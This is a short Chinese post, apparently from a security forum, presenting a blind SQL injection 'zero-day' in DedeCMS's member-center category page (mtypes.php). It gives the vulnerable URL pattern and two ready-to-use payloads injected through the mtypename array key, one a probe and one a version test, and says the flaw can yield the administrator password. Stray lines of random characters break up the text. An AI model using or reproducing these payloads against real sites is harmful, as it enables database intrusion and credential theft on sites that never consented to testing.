DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
) R2 W8 H" T. G- t  o
* l# T! Z2 J. }
1 n6 [3 A6 y# J: h发生在数组key里的注射漏洞,有点意思.
9 a) _, i6 c% _) w7 i/ J
8 d# M/ `0 p& p- g: @5 Q6 I这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
0 e1 c) ]7 x3 h: ~
http://www.xxx.com /dede/member/mtypes.php?dopost=save
5 O& L, I6 B: R, z; R3 O$ U2 q
/ g3 ]# o+ `- D+ z1 O% X# oexploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
! l; h, i# I7 I5 Xmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
$ ~' n( ~/ \3 m8 d9 e4 a